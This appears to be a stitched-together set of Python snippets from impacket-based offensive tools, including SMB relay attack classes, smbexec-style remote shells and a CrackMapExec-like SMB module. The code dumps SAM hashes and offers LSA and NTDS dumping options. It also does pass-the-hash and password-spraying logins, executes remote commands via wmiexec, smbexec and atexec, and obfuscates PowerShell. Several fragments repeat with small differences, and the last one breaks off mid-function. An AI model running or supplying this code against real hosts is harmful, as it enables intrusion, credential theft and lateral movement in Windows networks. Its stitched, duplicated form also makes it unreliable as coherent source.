class doAttack(Thread): def __init__(self, SMBClient, exeFile, command): Thread.__init__(self) if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3): self.__SMBConnection = SMBConnection(existingConnection = SMBClient) else: self.__SMBConnection = SMBClient self.__exeFile = exeFile self.__command = command self.__answerTMP = '' if exeFile is not None: self.installService = serviceinstall.ServiceInstall(SMBClient, exeFile) def __answer(self, data): self.__answerTMP += data def run(self): # Here PUT YOUR CODE! if self.__exeFile is not None: result = self.installService.install() if result is True: logging.info("Service Installed.. CONNECT!") self.installService.uninstall() else: from secretsdump import RemoteOperations, SAMHashes samHashes = None try: # We have to add some flags just in case the original client did not # Why? needed for avoiding INVALID_PARAMETER flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags() flags2 |= smb.SMB.FLAGS2_LONG_NAMES self.__SMBConnection.getSMBServer().set_flags(flags2=flags2) remoteOps = RemoteOperations(self.__SMBConnection, False) remoteOps.enableRegistry() except Exception, e: # Something wen't wrong, most probably we don't have access as admin. aborting logging.error(str(e)) return try: if self.__command is not None: remoteOps._RemoteOperations__executeRemote(self.__command) logging.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost()) self.__answerTMP = '' self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer) print self.__answerTMP self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output') else: bootKey = remoteOps.getBootKey() remoteOps._RemoteOperations__serviceDeleted = True samFileName = remoteOps.saveSAM() samHashes = SAMHashes(samFileName, bootKey, isRemote = True) samHashes.dump() logging.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost()) except Exception, e: logging.error(str(e)) finally:
def get_gpttmpl(self, gpttmpl_path): content_io = StringIO() gpttmpl_path_split = gpttmpl_path.split('\\') target = self._domain_controller share = gpttmpl_path_split[3] file_name = '\\'.join(gpttmpl_path_split[4:]) smb_connection = SMBConnection(remoteName=target, remoteHost=target) # TODO: kerberos login smb_connection.login(self._user, self._password, self._domain, self._lmhash, self._nthash) smb_connection.connectTree(share) smb_connection.getFile(share, file_name, content_io.write) try: content = codecs.decode(content_io.getvalue(), 'utf_16_le')[1:].replace('\r', '') except UnicodeDecodeError: content = content_io.getvalue().replace('\r', '') gpttmpl_final = GptTmpl(list()) for l in content.split('\n'): if l.startswith('['): section_name = l.strip('[]').replace(' ', '').lower() setattr(gpttmpl_final, section_name, Policy(list())) elif '=' in l: property_name, property_values = [x.strip() for x in l.split('=')] if ',' in property_values: property_values = property_values.split(',') setattr(getattr(gpttmpl_final, section_name), property_name, property_values) return gpttmpl_final
def get_gpttmpl(self, gpttmpl_path): content_io = StringIO() gpttmpl_path_split = gpttmpl_path.split('\\') target = gpttmpl_path_split[2] share = gpttmpl_path_split[3] file_name = '\\'.join(gpttmpl_path_split[4:]) smb_connection = SMBConnection(remoteName=target, remoteHost=target) # TODO: kerberos login smb_connection.login(self._user, self._password, self._domain, self._lmhash, self._nthash) smb_connection.connectTree(share) smb_connection.getFile(share, file_name, content_io.write) try: content = codecs.decode(content_io.getvalue(), 'utf_16_le')[1:].replace('\r', '') except UnicodeDecodeError: content = content_io.getvalue().replace('\r', '') gpttmpl_final = GptTmpl(list()) for l in content.split('\n'): if l.startswith('['): section_name = l.strip('[]').replace(' ', '').lower() setattr(gpttmpl_final, section_name, Policy(list())) elif '=' in l: property_name, property_values = [x.strip() for x in l.split('=')] if ',' in property_values: property_values = property_values.split(',') setattr(getattr(gpttmpl_final, section_name), property_name, property_values) return gpttmpl_final
class SMBAttack(Thread): def __init__(self, config, SMBClient, exeFile, command): Thread.__init__(self) self.daemon = True if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3): self.__SMBConnection = SMBConnection(existingConnection = SMBClient) else: self.__SMBConnection = SMBClient self.config = config self.__exeFile = exeFile self.__command = command self.__answerTMP = '' if exeFile is not None: self.installService = serviceinstall.ServiceInstall(SMBClient, exeFile) def __answer(self, data): self.__answerTMP += data def run(self): # Here PUT YOUR CODE! if self.__exeFile is not None: result = self.installService.install() if result is True: logging.info("Service Installed.. CONNECT!") self.installService.uninstall() else: from impacket.examples.secretsdump import RemoteOperations, SAMHashes samHashes = None try: # We have to add some flags just in case the original client did not # Why? needed for avoiding INVALID_PARAMETER flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags() flags2 |= smb.SMB.FLAGS2_LONG_NAMES self.__SMBConnection.getSMBServer().set_flags(flags2=flags2) remoteOps = RemoteOperations(self.__SMBConnection, False) remoteOps.enableRegistry() except Exception, e: # Something wen't wrong, most probably we don't have access as admin. aborting logging.error(str(e)) return try: if self.__command is not None: remoteOps._RemoteOperations__executeRemote(self.__command) logging.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost()) self.__answerTMP = '' self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer) self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output') else: bootKey = remoteOps.getBootKey() remoteOps._RemoteOperations__serviceDeleted = True samFileName = remoteOps.saveSAM() samHashes = SAMHashes(samFileName, bootKey, isRemote = True) samHashes.dump() samHashes.export(self.__SMBConnection.getRemoteHost()+'_samhashes') logging.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost()) except Exception, e: logging.error(str(e)) finally:
class RemoteShell(cmd.Cmd): def __init__(self, server, port, credentials, tid, fid, TGS, share): cmd.Cmd.__init__(self, False) self.prompt = '\x08' self.server = server self.transferClient = None self.tid = tid self.fid = fid self.credentials = credentials self.share = share self.port = port self.TGS = TGS self.intro = '[!] Press help for extra shell commands' def connect_transferClient(self): self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port=self.port, preferredDialect=dialect) user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials self.transferClient.kerberosLogin(user, passwd, domain, lm, nt, aesKey, TGS=self.TGS, useCache=False) def do_help(self, line): print """ lcd {path} - changes the current local directory to {path} exit - terminates the server process (and this session) put {src_file, dst_path} - uploads a local file to the dst_path RELATIVE to the connected share (%s) get {file} - downloads pathname RELATIVE to the connected share (%s) to the current local dir ! {cmd} - executes a local shell cmd """ % (self.share, self.share) self.send_data('\r\n', False) def do_shell(self, s): os.system(s) self.send_data('\r\n') def do_get(self, src_path): try: if self.transferClient is None: self.connect_transferClient() import ntpath filename = ntpath.basename(src_path) fh = open(filename, 'wb') logging.info("Downloading %s\%s" % (self.share, src_path)) self.transferClient.getFile(self.share, src_path, fh.write) fh.close() except Exception, e: logging.error(str(e)) pass self.send_data('\r\n')
class RemoteShell(cmd.Cmd): def __init__(self, server, port, credentials, tid, fid, share, transport): cmd.Cmd.__init__(self, False) self.prompt = '\x08' self.server = server self.transferClient = None self.tid = tid self.fid = fid self.credentials = credentials self.share = share self.port = port self.transport = transport self.intro = '[!] Press help for extra shell commands' def connect_transferClient(self): #self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port = self.port, preferredDialect = SMB_DIALECT) self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port=self.port, preferredDialect=dialect) user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials if self.transport.get_kerberos() is True: self.transferClient.kerberosLogin(user, passwd, domain, lm, nt, aesKey, kdcHost=self.transport.get_kdcHost(), TGT=TGT, TGS=TGS) else: self.transferClient.login(user, passwd, domain, lm, nt) def do_help(self, line): print """ lcd {path} - changes the current local directory to {path} exit - terminates the server process (and this session) put {src_file, dst_path} - uploads a local file to the dst_path RELATIVE to the connected share (%s) get {file} - downloads pathname RELATIVE to the connected share (%s) to the current local dir ! {cmd} - executes a local shell cmd """ % (self.share, self.share) self.send_data('\r\n', False) def do_shell(self, s): os.system(s) self.send_data('\r\n') def do_get(self, src_path): try: if self.transferClient is None: self.connect_transferClient() import ntpath filename = ntpath.basename(src_path) fh = open(filename,'wb') logging.info("Downloading %s\%s" % (self.share, src_path)) self.transferClient.getFile(self.share, src_path, fh.write) fh.close() except Exception, e: logging.critical(str(e)) pass self.send_data('\r\n')
def copy_from(target, source_path, target_path, share="c$"): username, password, domain, nthash = target.creds lmhash = "" if password else "aad3b435b51404eeaad3b435b51404ee" try: smb = SMBConnection(remoteName='*SMBSERVER', remoteHost=target.target_ip, sess_port=target.target_port) smb.login(username, password, domain, lmhash, nthash) with open(target_path, 'wb') as f: smb.getFile(share, source_path.replace('/', '\\'), f.write) return True except Exception as e: print(str(e)) return False
class doAttack(): # class doAttack(Thread): def __init__(self, SMBClient, command): # Thread.__init__(self) self.__SMBConnection = SMBConnection(existingConnection=SMBClient) self.__command = command self.__answerTMP = '' def __answer(self, data): self.__answerTMP += data def run(self): samHashes = None try: # We have to add some flags just in case the original client did not # Why? needed for avoiding INVALID_PARAMETER flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags() flags2 |= SMB.FLAGS2_LONG_NAMES self.__SMBConnection.getSMBServer().set_flags(flags2=flags2) remoteOps = RemoteOperations(self.__SMBConnection, False) remoteOps.enableRegistry() except Exception as e: # Something wen't wrong, most probably we don't have access as admin. aborting print(str(e)) return False try: remoteOps._RemoteOperations__executeRemote(self.__command) # print("Executed specified command on host: %s" % self.__SMBConnection.getRemoteHost()) self.__answerTMP = '' self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer) self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output') except Exception as e: print(str(e)) self.__answerTMP = 'ERROR' finally: if remoteOps is not None: remoteOps.finish() return self.__answerTMP
def get_gpttmpl(self, gpttmpl_path): content_io = BytesIO() gpttmpl_path_split = gpttmpl_path.split('\\') target = self._domain_controller share = gpttmpl_path_split[3] file_name = '\\'.join(gpttmpl_path_split[4:]) smb_connection = SMBConnection(remoteName=target, remoteHost=target) if self._do_kerberos: smb_connection.kerberosLogin(self._user, self._password, self._domain, self._lmhash, self._nthash) else: smb_connection.login(self._user, self._password, self._domain, self._lmhash, self._nthash) self._logger.debug('Get File: Share = {0}, file_name ={1}'.format( share, file_name)) smb_connection.connectTree(share) smb_connection.getFile(share, file_name, content_io.write) try: content = content_io.getvalue().decode('utf-16le')[1:].replace( '\r', '') except UnicodeDecodeError: self._logger.warning('Unicode error: trying utf-8') content = content_io.getvalue().decode('utf-8').replace('\r', '') gpttmpl_final = GptTmpl(list()) for l in content.split('\n'): if l.startswith('['): section_name = l.strip('[]').replace(' ', '').lower() gpttmpl_final._attributes_dict[section_name] = Policy(list()) elif '=' in l: property_name, property_values = [ x.strip() for x in l.split('=') ] if ',' in property_values: property_values = property_values.split(',') gpttmpl_final._attributes_dict[section_name]._attributes_dict[ property_name] = property_values return gpttmpl_final
def test_smbserver_share_get(self): """Test reading files from a shared folder. """ server = SimpleSMBServer(listenAddress=self.address, listenPort=int(self.port)) server.addCredential(self.username, 0, self.lmhash, self.nthash) server.addShare(self.share_name, self.share_path) self.start_smbserver(server) client = SMBConnection(self.address, self.address, sess_port=int(self.port)) client.login(self.username, self.password) local_file = BytesIO() client.getFile(self.share_name, self.share_file, local_file.write) local_file.seek(0) self.assertEqual(local_file.read(), b(self.share_new_content)) # Check unexistent file with self.assertRaises(SessionError): client.getFile(self.share_name, "unexistent", local_file.write) client.close()
class RemoteShell(cmd.Cmd): def __init__(self, server, port, credentials, tid, fid, share, transport): cmd.Cmd.__init__(self, False) self.prompt = '\x08' self.server = server self.transferClient = None self.tid = tid self.fid = fid self.credentials = credentials self.share = share self.port = port self.transport = transport self.intro = '[!] Press help for extra shell commands' def connect_transferClient(self): #self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port = self.port, preferredDialect = SMB_DIALECT) self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port=self.port, preferredDialect=dialect) user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials if self.transport.get_kerberos() is True: self.transferClient.kerberosLogin(user, passwd, domain, lm, nt, aesKey, kdcHost=self.transport.get_kdcHost(), TGT=TGT, TGS=TGS) else: self.transferClient.login(user, passwd, domain, lm, nt) def do_help(self, line): print """ lcd {path} - changes the current local directory to {path} exit - terminates the server process (and this session) put {src_file, dst_path} - uploads a local file to the dst_path RELATIVE to the connected share (%s) get {file} - downloads pathname RELATIVE to the connected share (%s) to the current local dir ! {cmd} - executes a local shell cmd """ % (self.share, self.share) self.send_data('\r\n', False) def do_shell(self, s): os.system(s) self.send_data('\r\n') def do_get(self, src_path): try: if self.transferClient is None: self.connect_transferClient() import ntpath filename = ntpath.basename(src_path) fh = open(filename,'wb') logging.info("Downloading %s\%s" % (self.share, src_path)) self.transferClient.getFile(self.share, src_path, fh.write) fh.close() except Exception as e: logging.critical(str(e)) pass self.send_data('\r\n') def do_put(self, s): try: if self.transferClient is None: self.connect_transferClient() params = s.split(' ') if len(params) > 1: src_path = params[0] dst_path = params[1] elif len(params) == 1: src_path = params[0] dst_path = '/' src_file = os.path.basename(src_path) fh = open(src_path, 'rb') f = dst_path + '/' + src_file pathname = string.replace(f,'/','\\') logging.info("Uploading %s to %s\%s" % (src_file, self.share, dst_path)) self.transferClient.putFile(self.share, pathname.decode(sys.stdin.encoding), fh.read) fh.close() except Exception as e: logging.error(str(e)) pass self.send_data('\r\n') def do_lcd(self, s): if s == '': print os.getcwd() else: os.chdir(s) self.send_data('\r\n') def emptyline(self): self.send_data('\r\n') return def default(self, line): self.send_data(line.decode(sys.stdin.encoding).encode('cp437')+'\r\n') def send_data(self, data, hideOutput = True): if hideOutput is True: global LastDataSent LastDataSent = data else: LastDataSent = '' self.server.writeFile(self.tid, self.fid, data)
class smb(connection): def __init__(self, args, db, host): self.domain = None self.server_os = None self.os_arch = 0 self.hash = None self.lmhash = '' self.nthash = '' self.remote_ops = None self.bootkey = None self.output_filename = None self.smbv1 = None self.signing = False self.smb_share_name = smb_share_name connection.__init__(self, args, db, host) @staticmethod def proto_args(parser, std_parser, module_parser): smb_parser = parser.add_parser('smb', help="own stuff using SMB", parents=[std_parser, module_parser]) smb_parser.add_argument("-H", '--hash', metavar="HASH", dest='hash', nargs='+', default=[], help='NTLM hash(es) or file(s) containing NTLM hashes') smb_parser.add_argument("--no-bruteforce", action='store_true', help='No spray when using file for username and password (user1 => password1, user2 => password2') dgroup = smb_parser.add_mutually_exclusive_group() dgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, help="domain to authenticate to") dgroup.add_argument("--local-auth", action='store_true', help='authenticate locally to each target') smb_parser.add_argument("--port", type=int, choices={445, 139}, default=445, help="SMB port (default: 445)") smb_parser.add_argument("--share", metavar="SHARE", default="C$", help="specify a share (default: C$)") smb_parser.add_argument("--smb-server-port", default="445", help="specify a server port for SMB", type=int) smb_parser.add_argument("--gen-relay-list", metavar='OUTPUT_FILE', help="outputs all hosts that don't require SMB signing to the specified file") smb_parser.add_argument("--continue-on-success", action='store_true', help="continues authentication attempts even after successes") cgroup = smb_parser.add_argument_group("Credential Gathering", "Options for gathering credentials") cegroup = cgroup.add_mutually_exclusive_group() cegroup.add_argument("--sam", action='store_true', help='dump SAM hashes from target systems') cegroup.add_argument("--lsa", action='store_true', help='dump LSA secrets from target systems') cegroup.add_argument("--ntds", choices={'vss', 'drsuapi'}, nargs='?', const='drsuapi', help="dump the NTDS.dit from target DCs using the specifed method\n(default: drsuapi)") #cgroup.add_argument("--ntds-history", action='store_true', help='Dump NTDS.dit password history') #cgroup.add_argument("--ntds-pwdLastSet", action='store_true', help='Shows the pwdLastSet attribute for each NTDS.dit account') egroup = smb_parser.add_argument_group("Mapping/Enumeration", "Options for Mapping/Enumerating") egroup.add_argument("--shares", action="store_true", help="enumerate shares and access") egroup.add_argument("--sessions", action='store_true', help='enumerate active sessions') egroup.add_argument('--disks', action='store_true', help='enumerate disks') egroup.add_argument("--loggedon-users", action='store_true', help='enumerate logged on users') egroup.add_argument('--users', nargs='?', const='', metavar='USER', help='enumerate domain users, if a user is specified than only its information is queried.') egroup.add_argument("--groups", nargs='?', const='', metavar='GROUP', help='enumerate domain groups, if a group is specified than its members are enumerated') egroup.add_argument("--local-groups", nargs='?', const='', metavar='GROUP', help='enumerate local groups, if a group is specified than its members are enumerated') egroup.add_argument("--pass-pol", action='store_true', help='dump password policy') egroup.add_argument("--rid-brute", nargs='?', type=int, const=4000, metavar='MAX_RID', help='enumerate users by bruteforcing RID\'s (default: 4000)') egroup.add_argument("--wmi", metavar='QUERY', type=str, help='issues the specified WMI query') egroup.add_argument("--wmi-namespace", metavar='NAMESPACE', default='root\\cimv2', help='WMI Namespace (default: root\\cimv2)') sgroup = smb_parser.add_argument_group("Spidering", "Options for spidering shares") sgroup.add_argument("--spider", metavar='SHARE', type=str, help='share to spider') sgroup.add_argument("--spider-folder", metavar='FOLDER', default='.', type=str, help='folder to spider (default: root share directory)') sgroup.add_argument("--content", action='store_true', help='enable file content searching') sgroup.add_argument("--exclude-dirs", type=str, metavar='DIR_LIST', default='', help='directories to exclude from spidering') segroup = sgroup.add_mutually_exclusive_group() segroup.add_argument("--pattern", nargs='+', help='pattern(s) to search for in folders, filenames and file content') segroup.add_argument("--regex", nargs='+', help='regex(s) to search for in folders, filenames and file content') sgroup.add_argument("--depth", type=int, default=None, help='max spider recursion depth (default: infinity & beyond)') sgroup.add_argument("--only-files", action='store_true', help='only spider files') tgroup = smb_parser.add_argument_group("Files", "Options for put and get remote files") tgroup.add_argument("--put-file", nargs=2, metavar="FILE", help='Put a local file into remote target, ex: whoami.txt \\\\Windows\\\\Temp\\\\whoami.txt') tgroup.add_argument("--get-file", nargs=2, metavar="FILE", help='Get a remote file, ex: \\\\Windows\\\\Temp\\\\whoami.txt whoami.txt') cgroup = smb_parser.add_argument_group("Command Execution", "Options for executing commands") cgroup.add_argument('--exec-method', choices={"wmiexec", "mmcexec", "smbexec", "atexec"}, default=None, help="method to execute the command. Ignored if in MSSQL mode (default: wmiexec)") cgroup.add_argument('--force-ps32', action='store_true', help='force the PowerShell command to run in a 32-bit process') cgroup.add_argument('--no-output', action='store_true', help='do not retrieve command output') cegroup = cgroup.add_mutually_exclusive_group() cegroup.add_argument("-x", metavar="COMMAND", dest='execute', help="execute the specified command") cegroup.add_argument("-X", metavar="PS_COMMAND", dest='ps_execute', help='execute the specified PowerShell command') psgroup = smb_parser.add_argument_group('Powershell Obfuscation', "Options for PowerShell script obfuscation") psgroup.add_argument('--obfs', action='store_true', help='Obfuscate PowerShell scripts') psgroup.add_argument('--clear-obfscripts', action='store_true', help='Clear all cached obfuscated PowerShell scripts') return parser def proto_logger(self): self.logger = CMEAdapter(extra={ 'protocol': 'SMB', 'host': self.host, 'port': self.args.port, 'hostname': self.hostname }) def get_os_arch(self): try: stringBinding = r'ncacn_ip_tcp:{}[135]'.format(self.host) transport = DCERPCTransportFactory(stringBinding) transport.set_connect_timeout(5) dce = transport.get_dce_rpc() if self.args.kerberos: dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE) dce.connect() try: dce.bind(MSRPC_UUID_PORTMAP, transfer_syntax=('71710533-BEBA-4937-8319-B5DBEF9CCC36', '1.0')) except (DCERPCException, e): if str(e).find('syntaxes_not_supported') >= 0: dce.disconnect() return 32 else: dce.disconnect() return 64 except Exception as e: logging.debug('Error retrieving os arch of {}: {}'.format(self.host, str(e))) return 0 def enum_host_info(self): self.local_ip = self.conn.getSMBServer().get_socket().getsockname()[0] try: self.conn.login('' , '') except: #if "STATUS_ACCESS_DENIED" in e: pass self.domain = self.conn.getServerDNSDomainName() self.hostname = self.conn.getServerName() self.server_os = self.conn.getServerOS() self.signing = self.conn.isSigningRequired() if self.smbv1 else self.conn._SMBConnection._Connection['RequireSigning'] self.os_arch = self.get_os_arch() self.output_filename = os.path.expanduser('~/.cme/logs/{}_{}_{}'.format(self.hostname, self.host, datetime.now().strftime("%Y-%m-%d_%H%M%S"))) if not self.domain: self.domain = self.hostname self.db.add_computer(self.host, self.hostname, self.domain, self.server_os) try: ''' DC's seem to want us to logoff first, windows workstations sometimes reset the connection (go home Windows, you're drunk) ''' self.conn.logoff() except: pass if self.args.domain: self.domain = self.args.domain if self.args.local_auth: self.domain = self.hostname #Re-connect since we logged off self.create_conn_obj() def print_host_info(self): self.logger.info(u"{}{} (name:{}) (domain:{}) (signing:{}) (SMBv1:{})".format(self.server_os, ' x{}'.format(self.os_arch) if self.os_arch else '', self.hostname, self.domain, self.signing, self.smbv1)) def kerberos_login(self, aesKey, kdcHost): # dirty code to check if user is admin but pywerview does not support kerberos auth ... error = '' try: self.conn.kerberosLogin('', '', self.domain, self.lmhash, self.nthash, aesKey, kdcHost) # self.check_if_admin() # currently pywerview does not support kerberos auth except SessionError as e: error = e try: self.conn.connectTree("C$") self.admin_privs = True except SessionError as e: pass if not error: out = u'{}\\{} {}'.format(self.domain, self.conn.getCredentials()[0], highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')) self.logger.success(out) return True else: self.logger.error(u'{} {} {}'.format(self.domain, error, '({})'.format(desc) if self.args.verbose else '')) return False # check https://github.com/byt3bl33d3r/CrackMapExec/issues/321 if self.signing: try: self.conn.logoff() except: pass self.create_conn_obj() def plaintext_login(self, domain, username, password): try: self.password = password self.username = username self.domain = domain self.conn.login(username, password, domain) self.check_if_admin() self.db.add_credential('plaintext', domain, username, password) if self.admin_privs: self.db.add_admin_user('plaintext', domain, username, password, self.host) out = u'{}\\{}:{} {}'.format(domain, username, password, highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')) self.logger.success(out) if not self.args.continue_on_success: return True elif self.signing: # check https://github.com/byt3bl33d3r/CrackMapExec/issues/321 try: self.conn.logoff() except: pass self.create_conn_obj() except SessionError as e: error, desc = e.getErrorString() self.logger.error(u'{}\\{}:{} {} {}'.format(domain, username, password, error, '({})'.format(desc) if self.args.verbose else ''), color='magenta' if error in smb_error_status else 'red') if error not in smb_error_status: self.inc_failed_login(username) return False if not self.args.continue_on_success: return True def hash_login(self, domain, username, ntlm_hash): lmhash = '' nthash = '' #This checks to see if we didn't provide the LM Hash if ntlm_hash.find(':') != -1: lmhash, nthash = ntlm_hash.split(':') else: nthash = ntlm_hash try: self.hash = ntlm_hash if lmhash: self.lmhash = lmhash if nthash: self.nthash = nthash self.username = username self.domain = domain self.conn.login(username, '', domain, lmhash, nthash) self.check_if_admin() self.db.add_credential('hash', domain, username, ntlm_hash) if self.admin_privs: self.db.add_admin_user('hash', domain, username, ntlm_hash, self.host) out = u'{}\\{} {} {}'.format(domain, username, ntlm_hash, highlight('({})'.format(self.config.get('CME', 'pwn3d_label')) if self.admin_privs else '')) self.logger.success(out) if not self.args.continue_on_success: return True # check https://github.com/byt3bl33d3r/CrackMapExec/issues/321 if self.signing: try: self.conn.logoff() except: pass self.create_conn_obj() except SessionError as e: error, desc = e.getErrorString() self.logger.error(u'{}\\{}:{} {} {}'.format(domain, username, ntlm_hash, error, '({})'.format(desc) if self.args.verbose else ''), color='magenta' if error in smb_error_status else 'red') if error not in smb_error_status: self.inc_failed_login(username) return False if not self.args.continue_on_success: return True def create_smbv1_conn(self): try: self.conn = SMBConnection(self.host, self.host, None, self.args.port, preferredDialect=SMB_DIALECT) self.smbv1 = True except socket.error as e: if str(e).find('Connection reset by peer') != -1: logging.debug('SMBv1 might be disabled on {}'.format(self.host)) return False except Exception as e: logging.debug('Error creating SMBv1 connection to {}: {}'.format(self.host, e)) return False return True def create_smbv3_conn(self): try: self.conn = SMBConnection(self.host, self.host, None, self.args.port) self.smbv1 = False except socket.error: return False except Exception as e: logging.debug('Error creating SMBv3 connection to {}: {}'.format(self.host, e)) return False return True def create_conn_obj(self): if self.create_smbv1_conn(): return True elif self.create_smbv3_conn(): return True return False def check_if_admin(self): lmhash = '' nthash = '' if self.hash: if self.hash.find(':') != -1: lmhash, nthash = self.hash.split(':') else: nthash = self.hash self.admin_privs = invoke_checklocaladminaccess(self.host, self.domain, self.username, self.password, lmhash, nthash) def gen_relay_list(self): if self.server_os.lower().find('windows') != -1 and self.signing is False: with sem: with open(self.args.gen_relay_list, 'a+') as relay_list: if self.host not in relay_list.read(): relay_list.write(self.host + '\n') @requires_admin @requires_smb_server def execute(self, payload=None, get_output=False, methods=None): if self.args.exec_method: methods = [self.args.exec_method] if not methods : methods = ['wmiexec', 'mmcexec', 'atexec', 'smbexec'] if not payload and self.args.execute: payload = self.args.execute if not self.args.no_output: get_output = True for method in methods: if method == 'wmiexec': try: exec_method = WMIEXEC(self.host, self.smb_share_name, self.username, self.password, self.domain, self.conn, self.kerberos, self.aesKey, self.kdcHost, self.hash, self.args.share) logging.debug('Executed command via wmiexec') break except: logging.debug('Error executing command via wmiexec, traceback:') logging.debug(format_exc()) continue elif method == 'mmcexec': try: exec_method = MMCEXEC(self.host, self.smb_share_name, self.username, self.password, self.domain, self.conn, self.hash) logging.debug('Executed command via mmcexec') break except: logging.debug('Error executing command via mmcexec, traceback:') logging.debug(format_exc()) continue elif method == 'atexec': try: exec_method = TSCH_EXEC(self.host, self.smb_share_name, self.username, self.password, self.domain, self.kerberos, self.aesKey, self.kdcHost, self.hash) #self.args.share) logging.debug('Executed command via atexec') break except: logging.debug('Error executing command via atexec, traceback:') logging.debug(format_exc()) continue elif method == 'smbexec': try: exec_method = SMBEXEC(self.host, self.smb_share_name, self.args.port, self.username, self.password, self.domain, self.kerberos, self.aesKey, self.kdcHost, self.hash, self.args.share) logging.debug('Executed command via smbexec') break except: logging.debug('Error executing command via smbexec, traceback:') logging.debug(format_exc()) continue if hasattr(self, 'server'): self.server.track_host(self.host) output = u'{}'.format(exec_method.execute(payload, get_output).strip()) if self.args.execute or self.args.ps_execute: self.logger.success('Executed command {}'.format('via {}'.format(self.args.exec_method) if self.args.exec_method else '')) buf = StringIO(output).readlines() for line in buf: self.logger.highlight(line.strip()) return output @requires_admin def ps_execute(self, payload=None, get_output=False, methods=None, force_ps32=False, dont_obfs=False): if not payload and self.args.ps_execute: payload = self.args.ps_execute if not self.args.no_output: get_output = True if os.path.isfile(payload): with open(payload) as commands: for c in commands: self.execute(create_ps_command(c, force_ps32=force_ps32, dont_obfs=dont_obfs), get_output, methods) else: self.execute(create_ps_command(payload, force_ps32=force_ps32, dont_obfs=dont_obfs), get_output, methods) return '' def shares(self): temp_dir = ntpath.normpath("\\" + gen_random_string()) #hostid,_,_,_,_,_,_ = self.db.get_hosts(filterTerm=self.host)[0] permissions = [] try: for share in self.conn.listShares(): share_name = share['shi1_netname'][:-1] share_remark = share['shi1_remark'][:-1] share_info = {'name': share_name, 'remark': share_remark, 'access': []} read = False write = False try: self.conn.listPath(share_name, '*') read = True share_info['access'].append('READ') except SessionError: pass try: self.conn.createDirectory(share_name, temp_dir) self.conn.deleteDirectory(share_name, temp_dir) write = True share_info['access'].append('WRITE') except SessionError: pass permissions.append(share_info) #self.db.add_share(hostid, share_name, share_remark, read, write) self.logger.success('Enumerated shares') self.logger.highlight('{:<15} {:<15} {}'.format('Share', 'Permissions', 'Remark')) self.logger.highlight('{:<15} {:<15} {}'.format('-----', '-----------', '------')) for share in permissions: name = share['name'] remark = share['remark'] perms = share['access'] self.logger.highlight(u'{:<15} {:<15} {}'.format(name, ','.join(perms), remark)) except Exception as e: error, desc = e.getErrorString() self.logger.error('Error enumerating shares: {}'.format(error), color='magenta' if error in smb_error_status else 'red') return permissions def get_dc_ips(self): dc_ips = [] for dc in self.db.get_domain_controllers(domain=self.domain): dc_ips.append(dc[1]) if not dc_ips: dc_ips.append(self.host) return dc_ips def sessions(self): sessions = get_netsession(self.host, self.domain, self.username, self.password, self.lmhash, self.nthash) self.logger.success('Enumerated sessions') for session in sessions: if session.sesi10_cname.find(self.local_ip) == -1: self.logger.highlight('{:<25} User:{}'.format(session.sesi10_cname, session.sesi10_username)) return sessions def disks(self): disks = [] try: disks = get_localdisks(self.host, self.domain, self.username, self.password, self.lmhash, self.nthash) self.logger.success('Enumerated disks') for disk in disks: self.logger.highlight(disk.disk) except Exception as e: error, desc = e.getErrorString() self.logger.error('Error enumerating disks: {}'.format(error), color='magenta' if error in smb_error_status else 'red') return disks def local_groups(self): groups = [] #To enumerate local groups the DC IP is optional, if specified it will resolve the SIDs and names of any domain accounts in the local group for dc_ip in self.get_dc_ips(): try: groups = get_netlocalgroup(self.host, dc_ip, '', self.username, self.password, self.lmhash, self.nthash, queried_groupname=self.args.local_groups, list_groups=True if not self.args.local_groups else False, recurse=False) if self.args.local_groups: self.logger.success('Enumerated members of local group') else: self.logger.success('Enumerated local groups') for group in groups: if group.name: if not self.args.local_groups: self.logger.highlight('{:<40} membercount: {}'.format(group.name, group.membercount)) self.db.add_group(self.hostname, group.name) else: domain, name = group.name.split('/') self.logger.highlight('{}\\{}'.format(domain.upper(), name)) try: group_id = self.db.get_groups(groupName=self.args.local_groups, groupDomain=domain)[0][0] except IndexError: group_id = self.db.add_group(domain, self.args.local_groups) # yo dawg, I hear you like groups. So I put a domain group as a member of a local group which is also a member of another local group. # (╯°□°)╯︵ ┻━┻ if not group.isgroup: self.db.add_user(domain, name, group_id) elif group.isgroup: self.db.add_group(domain, name) break except Exception as e: self.logger.error('Error enumerating local groups of {}: {}'.format(self.host, e)) return groups def domainfromdsn(self, dsn): dsnparts = dsn.split(',') domain = "" for part in dsnparts: k,v = part.split("=") if k == "DC": if domain=="": domain = v else: domain = domain+"."+v return domain def groups(self): groups = [] for dc_ip in self.get_dc_ips(): if self.args.groups: try: groups = get_netgroupmember(dc_ip, '', self.username, password=self.password, lmhash=self.lmhash, nthash=self.nthash, queried_groupname=self.args.groups, queried_sid=str(), queried_domain=str(), ads_path=str(), recurse=False, use_matching_rule=False, full_data=False, custom_filter=str()) self.logger.success('Enumerated members of domain group') for group in groups: 